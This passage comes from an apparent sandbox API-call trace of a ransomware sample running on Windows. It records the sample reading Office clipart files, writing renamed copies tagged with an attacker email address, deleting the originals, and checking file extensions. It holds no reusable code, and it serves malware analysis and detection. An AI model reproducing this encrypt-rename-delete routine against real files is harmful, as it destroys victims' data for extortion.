Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0191.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.789] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.789] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0191.789] GetLastError () returned 0x0 [0191.790] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2168, lpOverlapped=0x0) returned 1 [0191.791] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2170, lpOverlapped=0x0) returned 1 [0191.792] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.793] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0191.793] SetEndOfFile (hFile=0x370) returned 1 [0191.793] CloseHandle (hObject=0x370) returned 1 [0191.793] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.793] SetEndOfFile (hFile=0x520) returned 1 [0191.962] CloseHandle (hObject=0x520) returned 1 [0191.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0192.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.525] lstrlenW (lpString=".doc") returned 4 [0192.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.525] lstrlenW (lpString=".docx") returned 5 [0192.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.525] lstrlenW (lpString=".pdf") returned 4 [0192.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.525] lstrlenW (lpString=".xls") returned 4 [0192.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.525] lstrlenW (lpString=".xlsx") returned 5 [0192.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.525] lstrlenW (lpString=".ppt") returned 4 [0192.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.525] lstrlenW (lpString=".zip") returned 4 [0192.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.525] lstrlenW (lpString=".rar") returned 4 [0192.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.525] lstrlenW (lpString=".bz2") returned 4 [0192.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.525] lstrlenW (lpString=".7z") returned 3 [0192.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.526] lstrlenW (lpString=".dbf") returned 4 [0192.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.526] lstrlenW (lpString=".1cd") returned 4 [0192.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.526] lstrlenW (lpString=".jpg") returned 4 [0192.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.526] lstrlenW (lpString=".doc") returned 4 [0192.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.526] lstrlenW (lpString=".docx") returned 5 [0192.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.526] lstrlenW (lpString=".pdf") returned 4 [0192.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.526] lstrlenW (lpString=".xls") returned 4 [0192.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.526] lstrlenW (lpString=".xlsx") returned 5 [0192.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.527] lstrlenW (lpString=".ppt") returned 4 [0192.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.527] lstrlenW (lpString=".zip") returned 4 [0192.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.527] lstrlenW (lpString=".rar") returned 4 [0192.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.527] lstrlenW (lpString=".bz2") returned 4 [0192.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.527] lstrlenW (lpString=".7z") returned 3 [0192.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.527] lstrlenW (lpString=".dbf") returned 4 [0192.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.527] lstrlenW (lpString=".1cd") returned 4 [0192.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0192.527] lstrlenW (lpString=".jpg") returned 4 [0192.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.527] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0192.527] lstrlenW (lpString="FD00382_.WMF") returned 12 [0192.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.653] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=8424) returned 1 [0192.654] CloseHandle (hObject=0x410) returned 1 [0192.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0193.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.180] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.180] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.181] GetLastError () returned 0x0 [0193.181] ReadFile (in: hFile=0x518, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x20e8, lpOverlapped=0x0) returned 1 [0193.183] WriteFile (in: hFile=0x54c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x20f0, lpOverlapped=0x0) returned 1 [0193.184] ReadFile (in: hFile=0x518, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.184] WriteFile (in: hFile=0x54c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0193.184] SetEndOfFile (hFile=0x54c) returned 1 [0193.184] CloseHandle (hObject=0x54c) returned 1 [0193.184] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.184] SetEndOfFile (hFile=0x518) returned 1 [0193.190] CloseHandle (hObject=0x518) returned 1 [0193.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0193.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.192] lstrlenW (lpString=".doc") returned 4 [0193.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.192] lstrlenW (lpString=".docx") returned 5 [0193.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.192] lstrlenW (lpString=".pdf") returned 4 [0193.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.192] lstrlenW (lpString=".xls") returned 4 [0193.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.192] lstrlenW (lpString=".xlsx") returned 5 [0193.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.192] lstrlenW (lpString=".ppt") returned 4 [0193.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.192] lstrlenW (lpString=".zip") returned 4 [0193.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.192] lstrlenW (lpString=".rar") returned 4 [0193.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.192] lstrlenW (lpString=".bz2") returned 4 [0193.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.192] lstrlenW (lpString=".7z") returned 3 [0193.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.192] lstrlenW (lpString=".dbf") returned 4 [0193.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.192] lstrlenW (lpString=".1cd") returned 4 [0193.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.193] lstrlenW (lpString=".jpg") returned 4 [0193.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.193] lstrlenW (lpString=".doc") returned 4 [0193.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.193] lstrlenW (lpString=".docx") returned 5 [0193.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.193] lstrlenW (lpString=".pdf") returned 4 [0193.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.193] lstrlenW (lpString=".xls") returned 4 [0193.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.193] lstrlenW (lpString=".xlsx") returned 5 [0193.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.193] lstrlenW (lpString=".ppt") returned 4 [0193.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.193] lstrlenW (lpString=".zip") returned 4 [0193.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.193] lstrlenW (lpString=".rar") returned 4 [0193.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.193] lstrlenW (lpString=".bz2") returned 4 [0193.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.193] lstrlenW (lpString=".7z") returned 3 [0193.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.193] lstrlenW (lpString=".dbf") returned 4 [0193.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.193] lstrlenW (lpString=".1cd") returned 4 [0193.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0193.194] lstrlenW (lpString=".jpg") returned 4 [0193.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.194] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.194] lstrlenW (lpString="FD00544_.WMF") returned 12 [0193.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.195] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5260) returned 1 [0193.195] CloseHandle (hObject=0x518) returned 1 [0193.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0193.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.195] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.195] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.196] GetLastError () returned 0x0 [0193.196] ReadFile (in: hFile=0x518, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x148c, lpOverlapped=0x0) returned 1 [0193.198] WriteFile (in: hFile=0x54c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1490, lpOverlapped=0x0) returned 1 [0193.199] ReadFile (in: hFile=0x518, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.199] WriteFile (in: hFile=0x54c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0193.199] SetEndOfFile (hFile=0x54c) returned 1 [0193.199] CloseHandle (hObject=0x54c) returned 1 [0193.199] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.199] SetEndOfFile (hFile=0x518) returned 1 [0193.202] CloseHandle (hObject=0x518) returned 1 [0193.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0193.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.204] lstrlenW (lpString=".doc") returned 4 [0193.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.204] lstrlenW (lpString=".docx") returned 5 [0193.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.204] lstrlenW (lpString=".pdf") returned 4 [0193.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.204] lstrlenW (lpString=".xls") returned 4 [0193.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.204] lstrlenW (lpString=".xlsx") returned 5 [0193.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.204] lstrlenW (lpString=".ppt") returned 4 [0193.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.204] lstrlenW (lpString=".zip") returned 4 [0193.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.204] lstrlenW (lpString=".rar") returned 4 [0193.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.204] lstrlenW (lpString=".bz2") returned 4 [0193.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.204] lstrlenW (lpString=".7z") returned 3 [0193.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.204] lstrlenW (lpString=".dbf") returned 4 [0193.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.204] lstrlenW (lpString=".1cd") returned 4 [0193.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.204] lstrlenW (lpString=".jpg") returned 4 [0193.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.205] lstrlenW (lpString=".doc") returned 4 [0193.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.205] lstrlenW (lpString=".docx") returned 5 [0193.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.205] lstrlenW (lpString=".pdf") returned 4 [0193.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.205] lstrlenW (lpString=".xls") returned 4 [0193.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.205] lstrlenW (lpString=".xlsx") returned 5 [0193.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.205] lstrlenW (lpString=".ppt") returned 4 [0193.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.205] lstrlenW (lpString=".zip") returned 4 [0193.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.205] lstrlenW (lpString=".rar") returned 4 [0193.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.205] lstrlenW (lpString=".bz2") returned 4 [0193.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.205] lstrlenW (lpString=".7z") returned 3 [0193.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.205] lstrlenW (lpString=".dbf") returned 4 [0193.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.205] lstrlenW (lpString=".1cd") returned 4 [0193.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0193.206] lstrlenW (lpString=".jpg") returned 4 [0193.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.206] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.206] lstrlenW (lpString="FD00564_.WMF") returned 12 [0193.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.207] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=896) returned 1 [0193.207] CloseHandle (hObject=0x518) returned 1 [0193.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0193.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.207] CreateFileW 